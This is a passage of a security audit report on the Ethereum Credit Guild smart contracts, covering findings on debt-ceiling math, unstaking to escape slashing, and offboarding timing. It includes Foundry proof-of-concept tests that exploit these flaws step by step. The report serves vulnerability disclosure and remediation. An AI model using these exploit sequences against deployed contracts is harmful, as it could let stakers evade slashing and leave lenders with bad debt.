Assessed type
Context
eswak (Ethereum Credit Guild) commented:
In the provided PoC, the term that is offboarded does not have any active loans, so it cannot create bad debt during liquidation. The mechanism that prevents GUILD holders from decrementing weight and front-running the loss is in the GuildToken, where current term issuance is checked. Issuance is decreased only after the auctions conclude, so after bad debt or profit is realized, and that is what prevents GUILD gauge allocators to avoid slashing.
Some GUILD holders could still decrement weight during the auction, but not to the extent that it would make the debt ceiling below issuance. I’ll let my colleague @OneTrueKirk weigh in on whether we should prevent all gauge weight decrements during liquidations, or if the current implementation is fine, but as described I don’t think this is a medium issue, more like an Analysis.
OneTrueKirk (Ethereum Credit Guild) commented:
I think it’s a good idea to prevent gauge weight deprecation once a lending term has been offboarded. Especially since in the case of the surplus GUILD minter, there is exogenous surplus buffer capital which should help to protect passive lenders, but might escape at this time. Therefore, I think that the severity of Medium is appropriate @eswak.
eswak (Ethereum Credit Guild) confirmed
[M-18] Incorrect calculations in debtCeiling
Submitted by SpicyMeatball, also found by JCN (1, 2), nocoder, cccz, niroh, mojito_auditor, rbserver, klau5, santipu_, TheSchnilch, Byteblockers, kaden, and ether_sky
Incorrect debtCeiling
value will prevent users from withdrawing Guild tokens out of the gauge.
Proof of Concept
If there is a loan in the gauge and user wants to decrement the weight, we need to check it’s ceiling first:
// check if gauge is currently using its allocated debt ceiling.
// To decrement gauge weight, guild holders might have to call loans if the debt ceiling is used.
uint256 issuance = LendingTerm(gauge).issuance();
if (issuance != 0) {
uint256 debtCeilingAfterDecrement = LendingTerm(gauge).debtCeiling(-int256(weight));
require(
issuance <= debtCeilingAfterDecrement,
"GuildToken: debt ceiling used"
);
}
This is needed to ensure that loans are distributed between the gauges according to their weights and tolerance. This only matters if there are multiple gauges of the same type. If there is, only one gauge ceiling is limited by the hardcap and the minter buffer.
https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/loan/LendingTerm.sol#L287
} else if (gaugeWeight == totalWeight) {
// one gauge, unlimited debt ceiling
// returns min(hardCap, creditMinterBuffer)
return
_hardCap < creditMinterBuffer ? _hardCap : creditMinterBuffer;
}
Unfortunately, debtCeiling(int256 gaugeWeightDelta)
applies delta only to the gaugeWeight
leaving totalWeight
as-is:
https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/loan/LendingTerm.sol#L270
function debtCeiling(
int256 gaugeWeightDelta
) public view returns (uint256) {
address _guildToken = refs.guildToken; // cached SLOAD
uint256 gaugeWeight = GuildToken(_guildToken).getGaugeWeight(
address(this)
);
gaugeWeight = uint256(int256(gaugeWeight) + gaugeWeightDelta);
uint256 gaugeType = GuildToken(_guildToken).gaugeType(address(this));
uint256 totalWeight = GuildToken(_guildToken).totalTypeWeight(
gaugeType
);
Check this test case for GuildToken.t.sol
, where the user is unable to withdraw tokens from the gauge even it it’s the only gauge of it’s type and ceiling should be “unlimited”.
Modify debtCeiling
to act like a LendingTerm
:
function debtCeiling(int256 gaugeWeightDelta) public view returns (uint256) {
uint256 gaugeWeight = token.getGaugeWeight(address(this));
gaugeWeight = uint256(int256(gaugeWeight) + gaugeWeightDelta);
uint256 gaugeType = token.gaugeType(address(this));
uint256 totalWeight = token.totalTypeWeight(gaugeType);
if (gaugeWeight == 0) {
return 0; // no gauge vote, 0 debt ceiling
} else if (gaugeWeight == totalWeight) {
// one gauge, unlimited debt ceiling
// return unlimited
return 1_000_000 ether;
}
uint256 _issuance = issuance; // cached SLOAD
uint256 totalBorrowedCredit = credit.totalSupply();
uint256 gaugeWeightTolerance = 1e18;
if (totalBorrowedCredit == 0 && gaugeWeight != 0) {
// first-ever CREDIT mint on a non-zero gauge weight term
// does not check the relative debt ceilings
return 1_000_000 ether;
}
uint256 toleratedGaugeWeight = (gaugeWeight * gaugeWeightTolerance) /
1e18;
uint256 debtCeilingBefore = (totalBorrowedCredit *
toleratedGaugeWeight) / totalWeight;
if (_issuance >= debtCeilingBefore) {
return debtCeilingBefore; // no more borrows allowed
}
uint256 remainingDebtCeiling = debtCeilingBefore - _issuance; // always >0
if (toleratedGaugeWeight >= totalWeight) {
// if the gauge weight is above 100% when we include tolerance,
// the gauge relative debt ceilings are not constraining.
return 1_000_000 ether;
}
uint256 otherGaugesWeight = totalWeight - toleratedGaugeWeight; // always >0
uint256 maxBorrow = (remainingDebtCeiling * totalWeight) /
otherGaugesWeight;
uint256 _debtCeiling = _issuance + maxBorrow;
// return min(creditMinterBuffer, hardCap, debtCeiling)
if (1_000_000 ether < _debtCeiling) {
return 1_000_000 ether;
}
return _debtCeiling;
}
run the test
function testDebtCeilingOneGauge() public {
// grant roles to test contract
vm.startPrank(governor);
core.grantRole(CoreRoles.CREDIT_MINTER, address(this));
core.grantRole(CoreRoles.GUILD_MINTER, address(this));
core.grantRole(CoreRoles.GAUGE_ADD, address(this));
core.grantRole(CoreRoles.GAUGE_REMOVE, address(this));
core.grantRole(CoreRoles.GAUGE_PARAMETERS, address(this));
vm.stopPrank();
// setup
token.mint(alice, 100e18);
token.setMaxGauges(3);
token.addGauge(1, address(this));
vm.startPrank(alice);
token.incrementGauge(address(this), 10e18);
vm.stopPrank();
credit.mint(alice, 100e18);
issuance = 100e18;
vm.prank(alice);
// will revert with "GuildToken: debt ceiling used"
token.decrementGauge(address(this), 8e18);
}
Tools Used
Foundry
Recommended Mitigation Steps
Apply delta to totalWeight
as well:
https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/loan/LendingTerm.sol#L270
function debtCeiling(
int256 gaugeWeightDelta
) public view returns (uint256) {
address _guildToken = refs.guildToken; // cached SLOAD
uint256 gaugeWeight = GuildToken(_guildToken).getGaugeWeight(
address(this)
);
gaugeWeight = uint256(int256(gaugeWeight) + gaugeWeightDelta);
uint256 gaugeType = GuildToken(_guildToken).gaugeType(address(this));
uint256 totalWeight = GuildToken(_guildToken).totalTypeWeight(
gaugeType
);
+ totalWeight = uint256(int256(totalWeight) + gaugeWeightDelta);
Assessed type
Math
eswak (Ethereum Credit Guild) confirmed via duplicate issue #880
[M-19] Over 90% of the Guild staked in a gauge can be unstaked, despite the gauge utilizing its full debt allocation
Submitted by JCN
Users are incentivized to stake into a gauge in order to increase its debt ceiling. They are also incentivized to maintain the health of the protocol by calling unhealthy loans and offboarding unsound terms, and their staked Guild is subject to being slashed
if they do not do so effectively. Once the debt ceiling for a gauge is reached, loans will need to be repaid or called in order for stakers to unstake their Guild. This invariant can be observed in the ECG audit page:
To unstake, the lending term issuance (borrow amount) must be below its debt ceiling, or they must first call one or more loans. This is to ensure no one can exit when they should be slashed.`
Note: I have also confirmed this to be an invariant of the protocol with the developers.
Below I will explain a scenario in which over 90% of staked Guild can be unstaked from a gauge that is currently using its full debt allocation. I will be using the parameters defined in the GIP_0.sol
deployment script as an example, since these are the parameters that will define the protocol once it is launched:
hardCap = 2_000_000e18
.- Global debt ceiling (i.e.
bufferCap
) =2_000_000e18
. interestRate
= 0.04e18.maxDebtPerCollateralToken
: 1e18.maxDelayBetweenPartialRepay
= 0
.minPartialRepayPercent
= 0
.openingFee
= 0
.
We will be utilizing the following state for our example (numbers chosen for easier calculations):
2_000_000e18
Guild is staked into the gauge.2_000_000e18
credit is borrowed (i.e. term is at full debt allocation).- Buffer is currently at
0
(i.e. global debt ceiling exhausted). 2_000_000e18
credit is minted via the PSM (for borrowers to redeem the associatedpegToken
with their borrowed credit).- thus
issuance
== 2_000_000e18
- thus
totalBorrowerdCredit
== 2_000_000e18
When a user unstakes from a gauge the following code is invoked:
GuildToken::_decrementGaugeWeight#L224-L233
224: uint256 issuance = LendingTerm(gauge).issuance();
225: if (issuance != 0) {
226: uint256 debtCeilingAfterDecrement = LendingTerm(gauge).debtCeiling(-int256(weight));
227: require(
228: issuance <= debtCeilingAfterDecrement,
229: "GuildToken: debt ceiling used"
230: );
231: }
232:
233: super._decrementGaugeWeight(user, gauge, weight);
As we can see above, the LendingTerm::debtCeiling
function is invoked in order to calculate the gauge’s debt ceiling after the user’s weight is removed from the gauge. The resulting debt ceiling is required to be equal to or greater than the issuance (how much credit is borrowed from the gauge). If the adjusted debt ceiling is at, or still above, the current issuance, then the the user will be allowed to unstake their weight from the gauge. Let us observe the debtCeiling
function to see what happens when a user tries to unstake Guild given the provided state mentioned earlier:
LendingTerm::debtCeiling#L274-L291
274: uint256 gaugeWeight = GuildToken(_guildToken).getGaugeWeight(
275: address(this)
276: );
277: gaugeWeight = uint256(int256(gaugeWeight) + gaugeWeightDelta);
278: uint256 gaugeType = GuildToken(_guildToken).gaugeType(address(this));
279: uint256 totalWeight = GuildToken(_guildToken).totalTypeWeight(
280: gaugeType
281: );
282: uint256 creditMinterBuffer = RateLimitedMinter(refs.creditMinter)
283: .buffer();
284: uint256 _hardCap = params.hardCap; // cached SLOAD
285: if (gaugeWeight == 0) {
286: return 0; // no gauge vote, 0 debt ceiling
287: } else if (gaugeWeight == totalWeight) {
288: // one gauge, unlimited debt ceiling
289: // returns min(hardCap, creditMinterBuffer)
290: return
291: _hardCap < creditMinterBuffer ? _hardCap : creditMinterBuffer;
The adjusted weight is computed on line 277, where gaugeWeightDelta
is how much weight (Guild) the user wishes to unstake. If the adjusted weight is 0
then the adjusted debt ceiling is considered 0
(no debt ceiling). If the adjusted weight is equal to the total weight of the gauge then the minimum value between the hardCap
and buffer
is returned. The first return statement will be invoked if our user is trying to unstake all of the Guild in the gauge. If our user is attempting to unstake 0
Guild, then the second return statement will be invoked and the buffer
, which is 0
, will be returned. Here is a reminder of the current state we are operating under:
totalWeight
=2_000_000e18
.gaugeWeight
=2_000_000e18
.hardCap
=2_000_000e18
.- buffer
= 0
.
If our user is attempting to withdraw a value > 0
and < totalWeight
, the following code will execute:
LendingTerm::debtCeiling#L293-L303
293: uint256 _issuance = issuance; // cached SLOAD
294: uint256 totalBorrowedCredit = ProfitManager(refs.profitManager)
295: .totalBorrowedCredit();
296: uint256 gaugeWeightTolerance = ProfitManager(refs.profitManager)
297: .gaugeWeightTolerance();
298: if (totalBorrowedCredit == 0 && gaugeWeight != 0) {
299: // first-ever CREDIT mint on a non-zero gauge weight term
300: // does not check the relative debt ceilings
301: // returns min(hardCap, creditMinterBuffer)
302: return
303: _hardCap < creditMinterBuffer ? _hardCap : creditMinterBuffer;
The above return statement will only be invoked if totalBorrowedCredit
is 0
, meaning there would need to be no current borrows for this gauge. This is not the case for our operating state since the entire hardCap
of our gauge has been hit, and therefore, totalBorrowedCredit
is 2_000_000e18
. However, let us take note of the 3 values retrieved in the above code:
issuance
=2_000_000e18
.totalBorrowedCredit
=2_000_000e18
.tolerance
= 1.2e18 (Note: Thistolerance
allows a gauge to extend 20% beyond its actual debt ceiling).
Since the above return statement can not be invoked under our operating state, we will continue to the next possible return statement:
LendingTerm::debtCeiling#L305-L310
305: uint256 toleratedGaugeWeight = (gaugeWeight * gaugeWeightTolerance) /
306: 1e18;
307: uint256 debtCeilingBefore = (totalBorrowedCredit *
308: toleratedGaugeWeight) / totalWeight;
309: if (_issuance >= debtCeilingBefore) {
310: return debtCeilingBefore; // no more borrows allowed
As seen above, this return statement will be invoked if the issuance
is equal to or greater than the calculated debtCeilingBefore
. Therefore, if we can somehow make debtCeilingBefore == issuance
, then the require statement in GuildToken::_decrementGaugeWeight
(issuance <= debtCeilingBefore
) will also pass and we will have successfully unstaked Guild.
How can we do this? I was intrigued by the function of the tolerance
and how it can influence (purposely inflate) the debt ceiling of a gauge. I.e. tolerance
will allow a gauge’s debt allocation of 80% to be considered > 80%
. However, what if the gauge’s debt allocation is currently at 100%? It stands to reason that we can decrease the gaugeWeight
by a specified amount and after the tolerance
is applied we can potentially produce the same value as the original totalWeight
. I.e. debt allocation of the gauge remains the same. Given our current operating state we will have to make the toleratedGaugeWeight == totalWeight
. Once this is achieved, the debtCeilingBefore
will be equal to totalBorrowedCredit
, which is equal to issuance
.
Per my calculations, I found that given the current operating state we will be able to unstake ~16.66666...%
of the totalWeight
at a time. Below, I will demonstrate the calculations for doing so:
// use chisel console
// state
uint256 issuance = 2000000000000000000000000;
uint256 totalBorrwedCredit = 2000000000000000000000000;
uint256 tolerance = 1.2e18;
uint256 totalWeight = 2000000000000000000000000
// ideal unstakeAmount = totalWeight * .1666666666...
// solidity does not offer a lot of precision right out of the box so I used python to acquire the necessary precision
uint256 unstakeAmount = 333333333333333333333333;
// calculations
uint256 gaugeWeight = totalWeight - unstakeAmount;
// gaugeWeight == 1666666666666666666666667
uint256 toleratedGaugeWeight = (gaugeWeight * tolerance) / 1e18
// toleratedGaugeWeight == 2000000000000000000000000
toleratedGaugeWeight == totalWeight
uint256 debtCeilingBefore = (totalBorrowedCredit * toleratedGaugeWeight) / totalWeight;
// debtCeilingBefore == 2000000000000000000000000
debtCeilingBefore == issuance
As we can see above, by utilizing the tolerance
we were able to control the ratio between toleratedGaugeWeight
and the totalWeight
. Provided that the totalBorrowedCredit
is equal to the issuance
, we were able to unstake ~16.666666...%
of the totalWeight
from the gauge.
Impact
~16.6666%
of the total staked Guild can be unstaked from a gauge currently utilizing its full debt allocation. This can be performed numerous times until over 90% of the total staked Guild has been unstaked. Theoretically, ~16.66666%
can continue to be unstaked until virtually all meaningful Guild is unstaked from the gauge.
The above breaks an invariant of the protocol and enables Guild stakers to potentially avoid being slashed. Given that the Ethereum Credit Guild relies on properly incentivizing protocol participants to maintain the health of the system, this vulnerability can absolve stakers from punishment and disrupt the effectiveness and efficiency of the protocol, potentially leading to an unhealthy system.
Proof of Concept
The following PoC describes the scenario outlined in the Bug Description
, where ~16.6666....
of the total staked Guild is unstaked from a gauge utilizing its full debt allocation. This is done until over 90% of the staked Guild has been unstaked from the gauge.
Place the test file inside of the test/unit/loan/
directory:
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.13;
import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol";
import {Test} from "@forge-std/Test.sol";
import {Core} from "@src/core/Core.sol";
import {CoreRoles} from "@src/core/CoreRoles.sol";
import {MockERC20} from "@test/mock/MockERC20.sol";
import {SimplePSM} from "@src/loan/SimplePSM.sol";
import {GuildToken} from "@src/tokens/GuildToken.sol";
import {CreditToken} from "@src/tokens/CreditToken.sol";
import {LendingTerm} from "@src/loan/LendingTerm.sol";
import {AuctionHouse} from "@src/loan/AuctionHouse.sol";
import {ProfitManager} from "@src/governance/ProfitManager.sol";
import {RateLimitedMinter} from "@src/rate-limits/RateLimitedMinter.sol";
contract UnstakeAtDebtCeiling is Test {
address private governor = address(1);
address private guardian = address(2);
address user = address(0x01010101);
address borrower = address(0x02020202);
address lender = address(0x03030303);
Core private core;
ProfitManager private profitManager;
CreditToken credit;
GuildToken guild;
MockERC20 collateral;
MockERC20 pegToken;
SimplePSM private psm;
RateLimitedMinter rlcm;
AuctionHouse auctionHouse;
LendingTerm term;
// LendingTerm params (same as deployment script)
uint256 constant _CREDIT_PER_COLLATERAL_TOKEN = 1e18; // 1:1
uint256 constant _INTEREST_RATE = 0.04e18; // 4% APR
uint256 constant _MAX_DELAY_BETWEEN_PARTIAL_REPAY = 0;
uint256 constant _MIN_PARTIAL_REPAY_PERCENT = 0;
uint256 constant _HARDCAP = 2_000_000e18; // 2 million
uint256 public issuance = 0;
function setUp() public {
vm.warp(1679067867);
vm.roll(16848497);
core = new Core();
profitManager = new ProfitManager(address(core));
collateral = new MockERC20();
pegToken = new MockERC20(); // 18 decimals for easy calculations (deployment script uses USDC which has 6 decimals)
credit = new CreditToken(address(core), "name", "symbol");
guild = new GuildToken(
address(core),
address(profitManager)
);
rlcm = new RateLimitedMinter(
address(core) /*_core*/,
address(credit) /*_token*/,
CoreRoles.RATE_LIMITED_CREDIT_MINTER /*_role*/,
0 /*_maxRateLimitPerSecond*/,
0 /*_rateLimitPerSecond*/,
uint128(_HARDCAP) /*_bufferCap*/
);
auctionHouse = new AuctionHouse(address(core), 650, 1800);
term = LendingTerm(Clones.clone(address(new LendingTerm())));
term.initialize(
address(core),
LendingTerm.LendingTermReferences({
profitManager: address(profitManager),
guildToken: address(guild),
auctionHouse: address(auctionHouse),
creditMinter: address(rlcm),
creditToken: address(credit)
}),
LendingTerm.LendingTermParams({
collateralToken: address(collateral),
maxDebtPerCollateralToken: _CREDIT_PER_COLLATERAL_TOKEN,
interestRate: _INTEREST_RATE,
maxDelayBetweenPartialRepay: _MAX_DELAY_BETWEEN_PARTIAL_REPAY,
minPartialRepayPercent: _MIN_PARTIAL_REPAY_PERCENT,
openingFee: 0,
hardCap: _HARDCAP
})
);
psm = new SimplePSM(
address(core),
address(profitManager),
address(credit),
address(pegToken)
);
profitManager.initializeReferences(address(credit), address(guild), address(psm));
// roles
core.grantRole(CoreRoles.GOVERNOR, governor);
core.grantRole(CoreRoles.GUARDIAN, guardian);
core.grantRole(CoreRoles.CREDIT_MINTER, address(this));
core.grantRole(CoreRoles.GUILD_MINTER, address(this));
core.grantRole(CoreRoles.GAUGE_ADD, address(this));
core.grantRole(CoreRoles.GAUGE_PARAMETERS, address(this));
core.grantRole(CoreRoles.CREDIT_MINTER, address(rlcm));
core.grantRole(CoreRoles.RATE_LIMITED_CREDIT_MINTER, address(term));
core.grantRole(CoreRoles.CREDIT_MINTER, address(psm));
core.renounceRole(CoreRoles.GOVERNOR, address(this));
// add gauge
guild.setMaxGauges(10);
guild.addGauge(1, address(term));
}
function testUnstakeAtFullDebtAllocation() public {
// verify initial state
LendingTerm.LendingTermParams memory params = term.getParameters();
assertEq(params.hardCap, _HARDCAP);
assertEq(term.issuance(), 0);
assertEq(credit.totalSupply(), 0);
assertEq(psm.redeemableCredit(), 0);
assertEq(guild.getGaugeWeight(address(term)), 0);
assertEq(rlcm.buffer(), _HARDCAP);
// 2 million GUILD is staked into term
guild.mint(user, _HARDCAP);
vm.startPrank(user);
guild.incrementGauge(address(term), _HARDCAP);
vm.stopPrank();
assertEq(guild.getGaugeWeight(address(term)), _HARDCAP);
assertEq(guild.getUserWeight(user), _HARDCAP);
// 2 million CREDIT is borrowed from term
uint256 borrowAmount = _HARDCAP;
uint256 collateralAmount = _HARDCAP;
collateral.mint(borrower, collateralAmount);
vm.startPrank(borrower);
collateral.approve(address(term), collateralAmount);
term.borrow(borrowAmount, collateralAmount);
vm.stopPrank();
assertEq(term.issuance(), _HARDCAP);
assertEq(rlcm.buffer(), 0);
assertEq(credit.totalSupply(), _HARDCAP);
// 2 million CREDIT is minted from PSM
pegToken.mint(lender, _HARDCAP);
vm.startPrank(lender);
pegToken.approve(address(psm), _HARDCAP);
psm.mint(lender, _HARDCAP);
vm.stopPrank();
assertEq(credit.totalSupply(), _HARDCAP * 2);
assertEq(psm.redeemableCredit(), _HARDCAP);
// all 2 million loaned CREDIT gets redeemed in PSM by borrowers
vm.startPrank(borrower);
credit.approve(address(psm), _HARDCAP);
psm.redeem(borrower, _HARDCAP);
vm.stopPrank();
assertEq(credit.totalSupply(), _HARDCAP);
assertEq(psm.redeemableCredit(), 0);
// verify state
assertEq(collateral.balanceOf(address(term)), _HARDCAP);
assertEq(credit.balanceOf(borrower), 0);
assertEq(credit.balanceOf(lender), _HARDCAP);
assertEq(credit.totalSupply(), _HARDCAP);
assertEq(term.issuance(), _HARDCAP);
assertEq(psm.redeemableCredit(), 0);
assertEq(rlcm.buffer(), 0);
assertEq(guild.getGaugeWeight(address(term)), _HARDCAP);
assertEq(guild.totalWeight(), _HARDCAP);
assertEq(guild.getUserWeight(user), _HARDCAP);
assertEq(profitManager.gaugeWeightTolerance(), 1.2e18);
// user tries to unstake various amounts at debtCeiling, but correctly fails
vm.startPrank(user);
vm.expectRevert("GuildToken: debt ceiling used");
guild.decrementGauge(address(term), _HARDCAP);
vm.expectRevert("GuildToken: debt ceiling used");
guild.decrementGauge(address(term), 500_000e18);
vm.expectRevert("GuildToken: debt ceiling used");
guild.decrementGauge(address(term), 100e18);
vm.stopPrank();
// user successfully unstakes ~16.66%, despite term being at full debt allocation
uint256 totalUnstaked;
uint256 correction;
uint256 unstakeAmount = 333333333333333333333333;
emit log_named_uint("Gauge Weight before unstake", guild.getGaugeWeight(address(term)));
vm.startPrank(user);
guild.decrementGauge(address(term), unstakeAmount);
vm.stopPrank();
totalUnstaked += unstakeAmount;
emit log_named_uint("Gauge Weight after 1st unstake", guild.getGaugeWeight(address(term)));
verifyState(0, totalUnstaked);
// user successfully unstakes another ~16.66%
correction += 1;
unstakeAmount = 277777777777777777777778;
vm.startPrank(user);
guild.incrementGauge(address(term), correction); // to handle rounding issues
guild.decrementGauge(address(term), unstakeAmount);
vm.stopPrank();
totalUnstaked += unstakeAmount;
emit log_named_uint("Gauge Weight after 2nd unstake", guild.getGaugeWeight(address(term)));
verifyState(correction, totalUnstaked);
// user successfully unstakes another ~16.66%
unstakeAmount = 231481481481481481481481;
vm.startPrank(user);
guild.decrementGauge(address(term), unstakeAmount);
vm.stopPrank();
totalUnstaked += unstakeAmount;
emit log_named_uint("Gauge Weight after 3rd unstake", guild.getGaugeWeight(address(term)));
verifyState(correction, totalUnstaked);
// user successfully unstakes another ~16.66%
unstakeAmount = 192901234567901234567901;
vm.startPrank(user);
guild.decrementGauge(address(term), unstakeAmount);
vm.stopPrank();
totalUnstaked += unstakeAmount;
emit log_named_uint("Gauge Weight after 4th unstake", guild.getGaugeWeight(address(term)));
verifyState(correction, totalUnstaked);
// user successfully unstakes another ~16.66%
correction += 5493827160493827160492; // to make calculations easier
unstakeAmount = 161666666666666666666666;
vm.startPrank(user);
guild.incrementGauge(address(term), 5493827160493827160492);
guild.decrementGauge(address(term), unstakeAmount);
vm.stopPrank();
totalUnstaked += unstakeAmount;
emit log_named_uint("Gauge Weight after 5th unstake", guild.getGaugeWeight(address(term)));
verifyState(correction, totalUnstaked);
// user successfully unstakes another ~16.66%
unstakeAmount = 134722222222222222222222;
vm.startPrank(user);
guild.decrementGauge(address(term), unstakeAmount);
vm.stopPrank();
totalUnstaked += unstakeAmount;
emit log_named_uint("Gauge Weight after 6th unstake", guild.getGaugeWeight(address(term)));
verifyState(correction, totalUnstaked);
// user successfully unstakes another ~16.66%
unstakeAmount = 112268518518518518518518;
vm.startPrank(user);
guild.decrementGauge(address(term), unstakeAmount);
vm.stopPrank();
totalUnstaked += unstakeAmount;
emit log_named_uint("Gauge Weight after 7th unstake", guild.getGaugeWeight(address(term)));
verifyState(correction, totalUnstaked);
// user successfully unstakes another ~16.66%
unstakeAmount = 93557098765432098765432;
vm.startPrank(user);
guild.decrementGauge(address(term), unstakeAmount);
vm.stopPrank();
totalUnstaked += unstakeAmount;
emit log_named_uint("Gauge Weight after 8th unstake", guild.getGaugeWeight(address(term)));
verifyState(correction, totalUnstaked);
// user successfully unstakes another ~16.66%
correction += 103395061728395061726; // to make calculations easier
unstakeAmount = 77981481481481481481481;
vm.startPrank(user);
guild.incrementGauge(address(term), 103395061728395061726);
guild.decrementGauge(address(term), unstakeAmount);
vm.stopPrank();
totalUnstaked += unstakeAmount;
emit log_named_uint("Gauge Weight after 9th unstake", guild.getGaugeWeight(address(term)));
verifyState(correction, totalUnstaked);
// user successfully unstakes another ~16.66%
unstakeAmount = 64984567901234567901234;
vm.startPrank(user);
guild.decrementGauge(address(term), unstakeAmount);
vm.stopPrank();
totalUnstaked += unstakeAmount;
emit log_named_uint("Gauge Weight after 10th unstake", guild.getGaugeWeight(address(term)));
verifyState(correction, totalUnstaked);
// user successfully unstakes another ~16.66%
correction += 160493827160493827; // to make calculations easier
unstakeAmount = 54153833333333333333333;
vm.startPrank(user);
guild.incrementGauge(address(term), 160493827160493827);
guild.decrementGauge(address(term), unstakeAmount);
vm.stopPrank();
totalUnstaked += unstakeAmount;
emit log_named_uint("Gauge Weight after 11th unstake", guild.getGaugeWeight(address(term)));
verifyState(correction, totalUnstaked);
// user successfully unstakes another ~16.66%
unstakeAmount = 45128194444444444444444;
vm.startPrank(user);
guild.decrementGauge(address(term), unstakeAmount);
vm.stopPrank();
totalUnstaked += unstakeAmount;
emit log_named_uint("Gauge Weight after 12th unstake", guild.getGaugeWeight(address(term)));
verifyState(correction, totalUnstaked);
// user successfully unstakes another ~16.66%
correction += 1;
unstakeAmount = 37606828703703703703704;
vm.startPrank(user);
guild.incrementGauge(address(term), 1);
guild.decrementGauge(address(term), unstakeAmount);
vm.stopPrank();
totalUnstaked += unstakeAmount;
emit log_named_uint("Gauge Weight after 13th unstake", guild.getGaugeWeight(address(term)));
verifyState(correction, totalUnstaked);
emit log_named_uint("Number of GUILD user has unstaked so far", totalUnstaked);
// user can keep performing these calculations to unstake more GUILD
// calculations occurring in `LendingTerm::debtCeiling`:
// uint256 totalWeight = guild.totalTypeWeight(1);
// uint256 gaugeWeight = totalWeight - unstakeAmount;
// uint256 tolerance = profitManager.gaugeWeightTolerance(); // 1.2e18
// uint256 toleratedGaugeWeight = (gaugeWeight * tolerance) / 1e18; // totalWeight
// uint256 debtCeilingBefore = (totalBorrowedCredit * toleratedGaugeWeight) / totalWeight; // 2_000_000e18
// ideal unstakeAmount ~= totalWeight + ((totalBorrowedCredit * totalWeight) / tolerance) *with a lot of precision*
// a.k.a totalWeight * .16666... *high high precision*
// the goal is to make `toleratedGaugeWeight == totalWeight`, assuming that totalBorrowedCredit == issuance
}
function verifyState(uint256 correction, uint256 unstaked) internal {
// verify state
assertEq(credit.totalSupply(), _HARDCAP);
assertEq(term.issuance(), _HARDCAP); // issuance is at hardCap/debtCeiling
assertEq(psm.redeemableCredit(), 0);
assertEq(rlcm.buffer(), 0); // global debtCeiling hit
assertEq(guild.getGaugeWeight(address(term)), _HARDCAP + correction - unstaked);
assertEq(guild.totalWeight(), _HARDCAP + correction - unstaked);
assertEq(guild.getUserWeight(user), _HARDCAP + correction - unstaked);
}
}
Recommended Mitigation Steps
An early check can be implemented to identify whether or not the gauge is currently using its full debt allocation. This check must be done before the gaugeWeight
is adjusted. If the current gauge, given its current gaugeWeight
, is utilizing its full debt allocation, then any attempt to unstake any amount of Guild should revert early.
eswak (Ethereum Credit Guild) confirmed and commented:
Confirming this, thanks a lot for the quality of the report!
[M-20] Inability to offboard term twice in a 7-day period may lead to bad debt to the market
Submitted by santipu_
In Ethereum Credit Guild, when a LendingTerm
is considered too risky, its GUILD
voters are incentivized to offboard that term via the LendingTermOffboarding
contract. This mechanism is designed to be a fast and secure way to remove a LendingTerm
from a market before it accrues bad debt.
Each time that GUILD
voters want to offboard a term, someone will have to call proposeOffboard()
in order to start a poll. The other voters will have the ability to support this poll by calling supportOffboard()
. As soon as the votes reach to a quorum, the offboard()
function will have to be called to remove that term from the market and allow all loans from that term to be called.
The poll for offboarding a term has a max duration of 7 days, this restriction is enforced on proposeOffboard()
:
require(
block.number > lastPollBlock[term] + POLL_DURATION_BLOCKS,
"LendingTermOffboarding: poll active"
);
This check will enforce that nobody can propose the offboarding of a LendingTerm
twice in a 7-day period.
Given that the system allows for re-onboarding terms, it’s possible that a LendingTerm
can be offboarded and re-onboarded in less than 7 days. In such case, if market conditions turn adverse, the GUILD
voters won’t be able to offboard the same term for a second time; therefore, allowing for bad debt to be created and impact all the market.
It’s not unfeasible to assume this situation can occur in a future given that the protocol aims for supporting thousands of terms in a market, as it’s stated in the docs:
Major lending pools today support at most a few dozen unique loan terms, the Credit Guild is intended to support thousands […]
Impact
GUILD
voters won’t be able to offboard the same term twice in a 7-day window period and that will lead to bad debt that will impact all the market and its voters. In the scenario where loans start to default, all voters for that term will be slashed and the CREDIT
token of that market will experience losses.
Proof of Concept
The following coded POC can be pasted in LendingTermOffboarding.t.sol
. The test can be run with the command: forge test --match-test testCannotOffboardTwiceIn7Days
:
function testCannotOffboardTwiceIn7Days() public {
// Offboard term
guild.mint(bob, _QUORUM);
vm.startPrank(bob);
guild.delegate(bob);
uint256 snapshotBlock = block.number;
offboarder.proposeOffboard(address(term));
vm.roll(block.number + 1);
vm.warp(block.timestamp + 13);
offboarder.supportOffboard(snapshotBlock, address(term));
offboarder.offboard(address(term));
// Get enough CREDIT to pack back interests
vm.stopPrank();
vm.roll(block.number + 1);
vm.warp(block.timestamp + 13);
uint256 debt = term.getLoanDebt(aliceLoanId);
credit.mint(alice, debt - aliceLoanSize);
// Close loans and cleanup
vm.startPrank(alice);
credit.approve(address(term), debt);
term.repay(aliceLoanId);
vm.stopPrank();
offboarder.cleanup(address(term));
// After ~5 days @ 13s/block...
vm.roll(block.number + 33230);
vm.warp(block.timestamp + 5 days);
// Re-onboard
guild.addGauge(1, address(term));
// After ~1 day...
vm.roll(block.number + 6646);
vm.warp(block.timestamp + 1 days);
// It's not possible to offboard a second time
vm.expectRevert("LendingTermOffboarding: poll active");
offboarder.proposeOffboard(address(term));
}
Recommended Mitigation Steps
It’s recommended to modify the check in proposeOffboard()
in order to allow a second offboarding of a term if the previous offboarding is already complete.
As a potential solution, consider adding a mapping isPollCompleted[term]
that marks true when the quorum is reached for a certain poll on supportOffboard()
. This could be the new check on proposeOffboard()
to mitigate this issue:
require(
- block.number > lastPollBlock[term] + POLL_DURATION_BLOCKS,
+ block.number > lastPollBlock[term] + POLL_DURATION_BLOCKS || isPollCompleted[term],
"LendingTermOffboarding: poll active"
);
Assessed type
Timing
eswak (Ethereum Credit Guild) confirmed, but disagreed with severity and commented:
Confirming this is an issue, I think it is more fit for medium severity given the unlikeliness of the whole situation, but technically the code allows this path. I disagree with the proposed fix (that would allow proposing the offboarding without limits after a term has been offboarded once), but we can reset the
lastPollBlock[term]
storage variable upon successful offboarding.
TrungOre (judge) decreased severity to Medium
[M-21] RateLimitedMinter
isn’t used by SimplePSM
resulting in Governance attacks
Submitted by critical-or-high
The following contracts in the protocol doesn’t use RateLimitedMinter
:
SimplePSM
(actually, it imports but never usesRateLimitedMinter
).ProfitManager
For the SimplePSM
